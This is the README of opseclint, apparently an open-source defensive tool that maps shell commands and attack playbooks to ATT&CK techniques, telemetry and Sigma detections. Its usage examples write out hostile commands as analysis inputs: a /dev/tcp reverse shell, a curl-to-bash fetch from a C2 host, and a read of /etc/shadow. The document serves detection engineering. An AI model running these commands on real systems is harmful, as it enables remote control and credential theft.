A detection-coverage analyzer for the command line. “what would a defender see?”
Explore the docs »
Install
·
Report Bug
·
Request Coverage
Table of Contents
opseclint points at a command, a script, or a post-exploitation playbook and statically resolves each action to the MITRE ATT&CK technique(s) it implements, the host telemetry it emits, and the detections that would fire. Each with a detectability score. It answers one question: “what would a defender see?” across Linux/auditd, Windows/Sysmon, and macOS/Endpoint Security.
$ opseclint -c 'bash -i >& /dev/tcp/198.51.100.10/4444 0>&1'
opseclint — detection-coverage report (linux-auditd)
1 line analyzed, 1 finding
L1 [CRITICAL 82] Bash /dev/tcp reverse shell — interactive C2 channel
technique T1059.004 Command and Scripting Interpreter: Unix Shell
telemetry bash execve() followed by connect() to attacker IP
detection Sigma: Reverse shell via /dev/tcp redirection (proc_creation_lnx)
summary loudest action: CRITICAL (82)- Detection engineers validating coverage. “If an operator ran this, would my ruleset catch it, and with what telemetry?”
- Purple teams mapping an engagement's actions to expected detections.
- Red teams (under authorization) reasoning about a playbook's telemetry footprint.
Note
opseclint describes detectability, or the defensive signal an action generates. It is not an evasion tool: it does not recommend “quieter” alternatives. Absence of a finding means only that nothing in the knowledge base matched, and never that an action is stealthy.
Nothing at runtime. opseclint ships as a single self-contained binary. To build
from source you need a stable Rust toolchain (edition 2024).
cargo install opseclint # from crates.ioOr grab a prebuilt binary for Linux, macOS (Intel + Apple Silicon), or Windows from the Releases page, or build from a checkout:
cargo build --release # -> target/release/opseclintDocker: a tiny (~750 KB, scratch-based) image is published to GHCR:
docker run --rm -v "$PWD":/work ghcr.io/gerrrt/opseclint /work/script.sh
docker run --rm ghcr.io/gerrrt/opseclint -c 'curl http://c2/x | bash'opseclint script.sh # analyze a file (Linux/auditd by default)
opseclint -c 'sudo cat /etc/shadow' # analyze a single command
cat playbook.sh | opseclint # read from stdin
opseclint app.ps1 --platform windows-sysmon # analyze against Windows/Sysmon
opseclint script.sh --min 50 # only show findings >= detectability 50
opseclint script.sh --json # machine-readable output
opseclint script.sh --sarif # SARIF 2.1.0 (GitHub code scanning)
opseclint script.sh --sigma ./sigma # enrich with a real SigmaHQ checkout
opseclint script.sh --check-rule r.yml # does this Sigma rule fire on each line?
opseclint script.sh --sigma ./sigma --coverage-gaps # which actions no rule catches
opseclint script.sh --ci --threshold 70 # exit 1 if loudest action >= 70Select the host telemetry model with --platform (default linux-auditd):
| Platform | Telemetry model |
|---|---|
linux-auditd |
Linux with auditd / EDR syscall events |
windows-sysmon |
Windows with Sysmon (Event IDs) / Security log |
macos-es |
macOS with Endpoint Security (ESF) / unified log |
Each platform has its own embedded knowledge base, so whoami resolves to Linux
execve() telemetry, a Windows Sysmon EID 1, or a macOS ESF NOTIFY_EXEC
depending on the target. Windows program names are normalized
(C:\…\certutil.exe → certutil). When combined with --sigma, rules are
filtered to the platform's logsource.product.
By default, detection references in the seed KB are representative. Point
--sigma at a checkout of SigmaHQ/sigma (or any directory of Sigma
YAML) and opseclint indexes every rule by its ATT&CK technique tag, then replaces
each finding's references with the genuine rule titles and UUIDs that match.
Platform-relevant rules only.
git clone --depth 1 https://github.com/SigmaHQ/sigma
opseclint examples/recon.sh --sigma sigma/rules
# ◆ Sigma: Linux Command History Tampering (fdc88d25-…) fires (high)
# ◆ Sigma: Linux Reverse Shell Indicator (83dcd9f6-…) no-fire (critical)Each attached rule is also evaluated against the matched command, so the
line notes whether it would actually fire, no-fire, or is indeterminate
(the rule needs a field a static analyzer can't see). The same parsed index
backs --coverage-gaps.
The parsed index is cached to disk (fingerprinted by the ruleset directory), so
repeat runs against a large checkout skip re-parsing and note [cached] on a
hit. Override the location with OPSECLINT_CACHE_DIR; --no-sigma-cache
bypasses it.
Beyond technique-tag matching, opseclint can evaluate a command against a Sigma
rule's actual detection:/condition: logic and report, per command, whether it
FIRES, NO-FIREs, or is INDETERMINATE. The last meaning the rule keys
on a field a static analyzer can't synthesize (e.g. ParentImage, a hash), so
opseclint honestly abstains rather than guess.
$ opseclint script.sh --check-rule docker_socket.yml
sigma rule check: Docker Socket Access Via Curl Or Wget (85f46916-…)
L1 curl FIRES
L2 wget NO-FIRE
L7 curl INDETERMINATE
(needs ParentImage)The headline purple-team feature: given a playbook and a real --sigma ruleset,
report the blind spots, or actions whose ATT&CK techniques have rules, yet
none of those rules actually fire on the specific command.
$ opseclint examples/recon.sh --sigma sigma/rules --coverage-gaps
opseclint — coverage gaps (linux-auditd) vs 251 rule(s)
✓ COVERED L23 Bash /dev/tcp reverse shell [T1059.004, T1071]
fires: Suspicious Reverse Shell Command Line
⚠ GAP L18 Socket / network connection discovery [T1049]
rule(s) exist for its technique(s), but none fire
? INDET L6 System owner / current user discovery [T1033]
needs host fields to confirm
summary 1 gap(s), 10 covered, 3 indeterminate, 1 no-rulesGAP = a rule for that technique exists but wouldn't trigger on this action;
INDET = a matching rule needs a field a static analyzer can't see; NO-RULES
= the ruleset has nothing for that technique. With --ci, the run exits
non-zero when any gap is found.
--sarif emits SARIF 2.1.0, so findings surface in a repo's
Security → Code scanning tab, tagged with their ATT&CK technique and a
security-severity derived from the detectability score. See
.github/workflows/ci.yml for an upload job.
A composite action (action.yml) downloads a released binary and
analyzes a path in CI (Linux runners):
- uses: Gerrrt/opseclint@v0.1.1
with:
path: examples/
platform: linux-auditd # or windows-sysmon | macos-es
fail-threshold: "75" # optional: fail the job on a loud action
sarif-file: opseclint.sarif # optional: emit SARIF...
- uses: github/codeql-action/upload-sarif@v3 # ...then upload it
with:
sarif_file: opseclint.sarifA 0–100 estimate of how strongly an action surfaces in defensive telemetry (higher = louder), bucketed as:
| Score | Severity |
|---|---|
| 0–24 | LOW |
| 25–49 | MEDIUM |
| 50–74 | HIGH |
| 75–100 | CRITICAL |
--ci turns this into a gate: it exits non-zero when the loudest modeled action
meets or exceeds --threshold, so a team can fail a pipeline on tradecraft that
exceeds an agreed noise budget.
- Parser (
parser.rs): quote-aware tokenizer that strips comments andVAR=valueassignments, splits on control operators, unwrapssudo/env/…, and resolves each segment to a program + arguments. A preprocessing pass joins line continuations, resolves commands hidden in$(...)/backtick substitutions, and handles here-docs (body skipped as data unless it feeds a shell interpreter). - Knowledge base (
data/knowledge*.json): one KB per platform; each entry maps a command (or a raw pattern) to ATT&CK techniques, the telemetry it emits, representative Sigma-style detections, and a detectability score. - Analyzer (
analyzer.rs): matches every action against the KB, deduplicates per line, and ranks findings loudest-first. - Report (
report.rs): terminal, JSON, or SARIF output, plus the CI gate.
All KBs are embedded at compile time, so opseclint ships as a single static binary with no runtime dependencies. Adding coverage is a data change, not a code change. See CONTRIBUTING.md.
Try it against the examples/ playbooks:
opseclint examples/recon.sh # post-compromise recon (Linux)
opseclint examples/persistence.sh # accounts, cron, systemd, ld.so.preload, …
opseclint examples/defense-evasion.sh # SELinux/firewall/auditd off, log & history wiping
opseclint examples/windows-postex.ps1 --platform windows-sysmon # Windows LOLBins, credential access
opseclint examples/macos-postex.sh --platform macos-es # keychain, Gatekeeper, launchd- Three platforms: Linux/auditd, Windows/Sysmon, macOS/Endpoint Security
- Real SigmaHQ enrichment with an on-disk cache
- SARIF output → GitHub code scanning
- Distribution: crates.io, prebuilt binaries, a GitHub Action, and a GHCR image
- Sigma rule-logic evaluator: three-valued
FIRES/NO-FIRE/INDETERMINATE, via--check-rule -
--coverage-gaps: flag actions whose techniques have rules but where none fire - Deepen each KB and add EDR-specific telemetry mappings
See the open issues for the full list, and CHANGELOG.md for release history.
Contributions make the open-source community an amazing place to learn and create. The most valuable contributions here are new detection coverage and false-positive/negative fixes (most of which are data changes, not code).
- Fork the project
- Create your feature branch (
git checkout -b feat/amazing-coverage) - Run the gates:
cargo fmt --all --check,cargo clippy --all-targets -- -D warnings,cargo test - Commit your changes (
git commit -m 'Add some amazing coverage') - Push to the branch (
git push origin feat/amazing-coverage) - Open a Pull Request
See CONTRIBUTING.md for the knowledge-base entry schema and conventions. By participating you agree to the Code of Conduct.
Distributed under the MIT License. See LICENSE for more information.
Garrett Allen — @Gerrrt
Project Link: https://github.com/Gerrrt/opseclint
- MITRE ATT&CK — the technique taxonomy opseclint maps to
- SigmaHQ — the open detection-rule standard behind
--sigma
Detection references in the seed KB are representative of publicly available Sigma logic and should be validated against your deployed ruleset before you rely on them.